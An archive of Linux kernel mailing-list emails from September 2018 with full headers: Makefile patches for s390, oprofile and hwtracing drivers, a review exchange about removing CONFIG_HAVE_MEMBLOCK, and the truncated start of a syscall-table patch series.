        id S1727380AbeI0H5O (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:57:14 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:33360 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726659AbeI0H5O (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:57:14 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id i10-v6so1132004qtp.0;
        Wed, 26 Sep 2018 18:41:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=ur1ZvkjRUXOqVDnp6VeaPbI05opelG949PtGWPZmLOV4lvqrnb05gsnj0ApFmmIch9
         pEhIGstSrm6PbM/e+/3nImbuj7Hh6NDW/w9HRYTkRix6ZozRxKTLZQlnY8p3+fYq4xTR
         kRBriwslUg8Tq+J4tBAr9bDCZjvRqxWrz4h9gw3WecHJDI4Cvz9GTJAskURF4Gw/r71f
         sfteDTGqCgygjLOrTNXeOmvvB16LYXAom2bpiMwWLXYt8t0h5O1TrhuyAMaQ3Ux6x4f1
         tHrkTw3nY90YqN+nJhgZden+VaBOCdzbyPDglq5QqxvL1dwRuMnDF1Au3Z0Vj75gcCyJ
         kaRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=AM/uuiJklsG4lKtYDEsIzVSgHJpsdZefOn5x2ZbXZ0VBHnV4JOs+C3azCerswnfcQ5
         6GONqQo3lo8njcocjTMWVr5QgpTvHx99dGhUEM2do3IoyKB26O2zuaV/2DupEG83PtqG
         N4kLdxx/uNprTWiXHFELwMWuV3W3F2QEP9WLLZHnfeb56JM8O27u/01BShobwzquikoS
         N8eWuzWa/3a52nfVuIUnHWaT6TF4VcVC2lFFeBI2ckcxLMcYOZ8HG0J+SNuped0+D4dS
         MnnSGyi7QV4oTPdh/EPi8nRMhDsiDMfeRHlUA2T7NTgd2Jkn7ebxOXYLLRAXNKBjIWI5
         fUkQ==
X-Gm-Message-State: ABuFfogCCw/kX0UUcqySfy14+HUQ5MesBz4Qyft0QdctI4m8p4skUdlr
        D0tMFmopOH8ebvNIng+EfPg=
X-Google-Smtp-Source: ACcGV635gQaX0CnFQyT2kIQ+eG4LOHdwks0KjhtZuZCAYqxtfgUdc1AMpT5ZOXrtimSaq+TGYVuKjA==
X-Received: by 2002:a0c:b145:: with SMTP id r5-v6mr6367391qvc.97.1538012487098;
        Wed, 26 Sep 2018 18:41:27 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id o7-v6sm463119qkc.67.2018.09.26.18.41.17
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:41:26 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883020 gmane.linux.oprofile:13233 gmane.linux.ports.parisc:29029
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883020>

Avoids building s390 drivers if 'make drivers/s390/' is called but
ARCH is not s390.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/s390/Makefile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
index a863b0462b43..0575f02dba45 100644
--- a/drivers/s390/Makefile
+++ b/drivers/s390/Makefile
@@ -3,7 +3,7 @@
 # Makefile for the S/390 specific device drivers
 #
 
-obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
-
-drivers-y += drivers/s390/built-in.a
-
+ifeq ($(ARCH),s390)
+	obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
+	drivers-y += drivers/s390/built-in.a
+endif
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 6/7] drivers: oprofile: Avoids building driver from direct
 make command
Date: Wed, 26 Sep 2018 22:41:38 -0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20180927014138.GA8988@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012387 20174 195.159.176.226 (27 Sep 2018 01:39:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:39:47 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:39:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LHJ-0004Rr-Ho
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:39:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727390AbeI0H5h (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:57:37 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:40936 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726922AbeI0H5h (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:57:37 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id e9-v6so1080432qtp.7;
        Wed, 26 Sep 2018 18:41:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=CzCnr08q8AXxDBV5AnX5g7J5d+hw/S8rc+cNPIu4E30=;
        b=ShiyD3UtGnwft2HaEDtEh52aOy7+HNXwP5G3zf26dcF+t+0ofNxJsAblVBFGcHC1Zt
         AOkyu4MqymOfg927YMI36Z8l/gtgou1t8ILusRRh+qNosvPwpGLSr48ejYNmseREE4Zr
         PC3alx3s0uR48oWqBqHOnmcJAgTIu/63oIjbMRH8lA8fNLd5vWZhyVFFjOQ7fRG8jqjF
         wEIRISAUAJno26gq3V+ZnrD+clCVPb7kRYA9Ho7cYf9S8FhJKrcUTWiIv2mRwl4YOzdF
         RQsHOGnWRlO1uPDG74ycjViokRMZi3FBowlkT4KUYthxsnCvcrR1A1tRspHURmTEnYlZ
         tqRQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=CzCnr08q8AXxDBV5AnX5g7J5d+hw/S8rc+cNPIu4E30=;
        b=SZ8no6Iu6ePXTS4VHCz2JncxYCPb8Te25M1bqHhPJHA9JGIFaYg+dFosQUfLXBt6nN
         PnfuWMBfjmHVgmFw244WOYAzWWReHOPtW3QqoL01S3FO4r0VcMk2RPga24vqycQ7tPe7
         ibBUjb3qfUSoWCN1VLAn5HUXmpLFsPaS5UuaEqjPBrXs+waWmGo5fK06oLl5WKs0gc3y
         E3ZzVk4AAN7qFHJEY5bJEPyZbbTbD0FuGGc9yzZ8zVQwnW6IUQsgh8FdBMmjN039L51G
         KqR+AS99TaPpXNpl3DvpL/6ToaisO0pWA9Xw0UR2zc9sl9eE8NyV1wwLf3pubAwNqUJB
         ioXQ==
X-Gm-Message-State: ABuFfohchqQUVVjfEYXt7Q0KCPE9OwoI6I7tmqQchVj31s0vrE7a4xxZ
        tYCllmQnO6llVSGYre9QAok=
X-Google-Smtp-Source: ACcGV61guLxOorFBKyrdykcb/srxmdUkw5Bb8MOLQmA8CejweC/0gxD4XEKssPdEGdo5id1Nhru8/w==
X-Received: by 2002:ac8:3f56:: with SMTP id w22-v6mr6980214qtk.151.1538012510418;
        Wed, 26 Sep 2018 18:41:50 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id o2-v6sm438617qte.16.2018.09.26.18.41.41
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:41:49 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883021 gmane.linux.oprofile:13234 gmane.linux.ports.parisc:29030
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883021>

Creates new Makefile to avoid building driver if
'make drivers/oprofile/' is called directly.

This driver is usually built from arch/$ARCH and seems to have
no meaning building alone.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/oprofile/Makefile | 2 ++
 1 file changed, 2 insertions(+)
 create mode 100644 drivers/oprofile/Makefile

diff --git a/drivers/oprofile/Makefile b/drivers/oprofile/Makefile
new file mode 100644
index 000000000000..acaed2ad6eee
--- /dev/null
+++ b/drivers/oprofile/Makefile
@@ -0,0 +1,2 @@
+#Does nothing, since the source is called from arch/$ARCH/ tree.
+
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 7/7] drivers: hwtracing: Adds Makefile to enable building
 from directory.
Date: Wed, 26 Sep 2018 22:41:58 -0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20180927014158.GA8995@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012412 22165 195.159.176.226 (27 Sep 2018 01:40:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:40:12 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:40:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LHi-0005eP-PR
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:40:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727301AbeI0H6C (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:58:02 -0400
Original-Received: from mail-qk1-f194.google.com ([209.85.222.194]:41570 "EHLO
        mail-qk1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726948AbeI0H6C (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:58:02 -0400
Original-Received: by mail-qk1-f194.google.com with SMTP id n3-v6so622671qkn.8;
        Wed, 26 Sep 2018 18:42:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=bPaqGZYQVSwfK131ivTOy9NJoZHHfv8fWF5x5Bpce/ydhsq8I2QQbMkJcOOabbs+x/
         ZuAtrudjfCSVlEElbTk5yuNDfNZpmNhwEn2a7Ck1Gvg6Z4ZE55AzaiOmjr8wOV7PrQbh
         J3p6B0flIpPJwIArcPRBhPbCO2/a7DE260YMzZsrExSFqGr1u7yI/2CY9Vr4TAGYBA3S
         8fwuASzF9RXqdGA97p6/oF9p38m2bj/NZDrjwqZVQI+BbKeWIkRvIVXUuo2crkG3SwBN
         q7yn9T/QUQJPHJFpt8N7s3sB+8kUlkpmzTbQpQk9/SiYnE7jOniYECZcbtLtHoiHhtMq
         jZzA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=RF+Kai4Mxm9boG5HVgg1FUea7vAAlZ+dLLnv14K0TXhsxuVL6LDGerw4IbgtMBqa8c
         YHUfwULbQCCrAWP8U5yu73lx/8surYkmJXxnKh/Pn2XFjlKd+VFOnYu+4jAThBOnZxPO
         yqnQcs39dpUAAgHPtKyQ9zJNDfXLMGG32s0qNX0mhHbohYeWso+lkpGalrqAnqGyUkcB
         lHqmh3znMe2pEppWf3Pr62ltWHDk43v+10QRb2lHwxCQ1hWZJpWG0CrUrXeegodSGWkH
         97a2MloUQ+H2sRnWdROS+zwutnmTmIBBcfl1BlTWCJmXSRWeG7mN0d0Nl2ZdPKMDAnO0
         6XIA==
X-Gm-Message-State: ABuFfoiFeg6Aa0E1nzcyyIGPfDjUMGCev2fSDT9zCXJiCNPCm/zdRE9q
        nC9N7cHr+Gz3A0/zyoneTXA=
X-Google-Smtp-Source: ACcGV61LGXs+2y3kISxKIFoduBXqkSGbiqgkp4koU6VAU/V2k68kEkp6HUFlwzUTuE6jW/ZuqCY6vg==
X-Received: by 2002:a37:bbc1:: with SMTP id l184-v6mr6415136qkf.111.1538012534356;
        Wed, 26 Sep 2018 18:42:14 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id s64-v6sm362867qkc.70.2018.09.26.18.42.07
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:42:13 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883022 gmane.linux.oprofile:13235 gmane.linux.ports.parisc:29031
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883022>

Adds Makefile to enable building the driver using
'make drivers/hwtracing/'.
Changes drivers/Makefile to call the new Makefile directly.
It enables user building this driver without building the whole drivers/
subtree.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/Makefile           | 4 +---
 drivers/hwtracing/Makefile | 3 +++
 2 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile

diff --git a/drivers/Makefile b/drivers/Makefile
index 578f469f72fb..a237be6b602f 100644
--- a/drivers/Makefile
+++ b/drivers/Makefile
@@ -174,9 +174,7 @@ obj-$(CONFIG_MCB)		+= mcb/
 obj-$(CONFIG_PERF_EVENTS)	+= perf/
 obj-$(CONFIG_RAS)		+= ras/
 obj-$(CONFIG_THUNDERBOLT)	+= thunderbolt/
-obj-$(CONFIG_CORESIGHT)		+= hwtracing/coresight/
-obj-y				+= hwtracing/intel_th/
-obj-$(CONFIG_STM)		+= hwtracing/stm/
+obj-y				+= hwtracing/
 obj-$(CONFIG_ANDROID)		+= android/
 obj-$(CONFIG_NVMEM)		+= nvmem/
 obj-$(CONFIG_FPGA)		+= fpga/
diff --git a/drivers/hwtracing/Makefile b/drivers/hwtracing/Makefile
new file mode 100644
index 000000000000..fe5773caec49
--- /dev/null
+++ b/drivers/hwtracing/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_CORESIGHT)		+= coresight/
+obj-y				+= intel_th/
+obj-$(CONFIG_STM)		+= stm/
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Thu, 27 Sep 2018 07:50:20 +0300
Lines: 55
Approved: news@gmane.org
Message-ID: <20180927045019.GA16740@rapoport-lnx>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
 <CAKgT0UdP=78RsWHMxFu4PD8a3AhA3eNcG68Z_9aGY0vhOKf7xA@mail.gmail.com>
 <20180926183152.GA4597@rapoport-lnx>
 <CAKgT0UcC-GTtyPK9ynvj6r3YFqy8kE40iMJxzPowbNoXGf9iWg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538023727 2899 195.159.176.226 (27 Sep 2018 04:48:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 04:48:47 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mm <linux-mm@kvack.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>, chris@zankel.net,
        David Miller <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>, green.hu@gmail.com,
        Greg KH <gregkh@linuxfoundation.org>, gxt@pku.edu.cn,
        Ingo Molnar <mingo@redhat.com>, jejb@parisc-linux.org,
        jonas@southpole.se, Jonathan Corbet <corbet@lwn.net>,
        lftan@altera.com, msalter@redhat.com,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        mattst88@gmail.com, mpe@ellerman.id.au,
        Michal Hocko <mhocko@suse.com>, monstr@monstr.eu,
        palmer@sifive.com, paul.burton@mips.com, rkuo@codeaurora.org,
        richard@nod.at, dalias@libc.org,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
        fancer.lancer@gmail.com, Thomas Gleixner <tglx@linutronix.de>
To: Alexander Duyck <alexander.duyck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 06:48:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5OE8-0000Xf-Oj
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 06:48:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726931AbeI0LHA (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 07:07:00 -0400
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:51706 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1726599AbeI0LHA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 07:07:00 -0400
Original-Received: from pps.filterd (m0098396.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w8R4nLaQ055856
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 00:50:42 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2mrpysua8d-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 00:50:42 -0400
Original-Received: from localhost
        by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.vnet.ibm.com>;
        Thu, 27 Sep 2018 05:50:38 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
        by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Thu, 27 Sep 2018 05:50:27 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com [9.149.105.58])
        by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w8R4oQJu65470530
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Thu, 27 Sep 2018 04:50:26 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 4E5984C040;
        Thu, 27 Sep 2018 07:50:10 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 15E3A4C059;
        Thu, 27 Sep 2018 07:50:06 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.204.81])
        by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Thu, 27 Sep 2018 07:50:05 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <CAKgT0UcC-GTtyPK9ynvj6r3YFqy8kE40iMJxzPowbNoXGf9iWg@mail.gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18092704-0012-0000-0000-000002AF2296
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18092704-0013-0000-0000-000020E33E60
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-09-27_02:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809270051
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883080 gmane.linux.kernel.mm:204058 gmane.linux.ports.alpha:5268 gmane.linux.ports.arm.kernel:676587 gmane.linux.ports.hexagon:1878 gmane.linux.ports.ia64:29294 gmane.linux.ports.mips.general:66878 gmane.linux.ports.parisc:29032 gmane.linux.ports.ppc64.devel:163100 gmane.linux.ports.riscv:912 gmane.linux.ports.sh.devel:57558 gmane.linux.kernel.arc:4469 gmane.linux.ports.sparc:28487
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883080>

On Wed, Sep 26, 2018 at 05:34:32PM -0700, Alexander Duyck wrote:
> On Wed, Sep 26, 2018 at 11:32 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
> >
> > On Wed, Sep 26, 2018 at 09:58:41AM -0700, Alexander Duyck wrote:
> > > On Fri, Sep 14, 2018 at 5:11 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
> > > >
> > > > All architecures use memblock for early memory management. There is no need
> > > > for the CONFIG_HAVE_MEMBLOCK configuration option.
> > > >
> > > > Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> > >
> > > <snip>
> > >
> > > > diff --git a/include/linux/memblock.h b/include/linux/memblock.h
> > > > index 5169205..4ae91fc 100644
> > > > --- a/include/linux/memblock.h
> > > > +++ b/include/linux/memblock.h
> > > > @@ -2,7 +2,6 @@
> > > >  #define _LINUX_MEMBLOCK_H
> > > >  #ifdef __KERNEL__
> > > >
> > > > -#ifdef CONFIG_HAVE_MEMBLOCK
> > > >  /*
> > > >   * Logical memory blocks.
> > > >   *
> > > > @@ -460,7 +459,6 @@ static inline phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align)
> > > >  {
> > > >         return 0;
> > > >  }
> > > > -#endif /* CONFIG_HAVE_MEMBLOCK */
> > > >
> > > >  #endif /* __KERNEL__ */
> > >
> > > There was an #else above this section and I believe it and the code
> > > after it needs to be stripped as well.
> >
> > Right, I've already sent the fix [1] and it's in mmots.
> >
> > [1] https://lkml.org/lkml/2018/9/19/416
> >
> 
> Are you sure? The patch you reference appears to be for
> drivers/of/fdt.c, and the bit I pointed out here is in
> include/linux/memblock.h.

Ah, sorry. You are right, will fix. Thanks for spotting it!
 
> - Alex
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 0/5] System call table generation support
Date: Thu, 27 Sep 2018 19:54:22 +0530
Lines: 76
Approved: news@gmane.org
Message-ID: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058181 29632 195.159.176.226 (27 Sep 2018 14:23:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:01 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:22:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XBv-0007aT-OP
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:22:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727867AbeI0Une (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
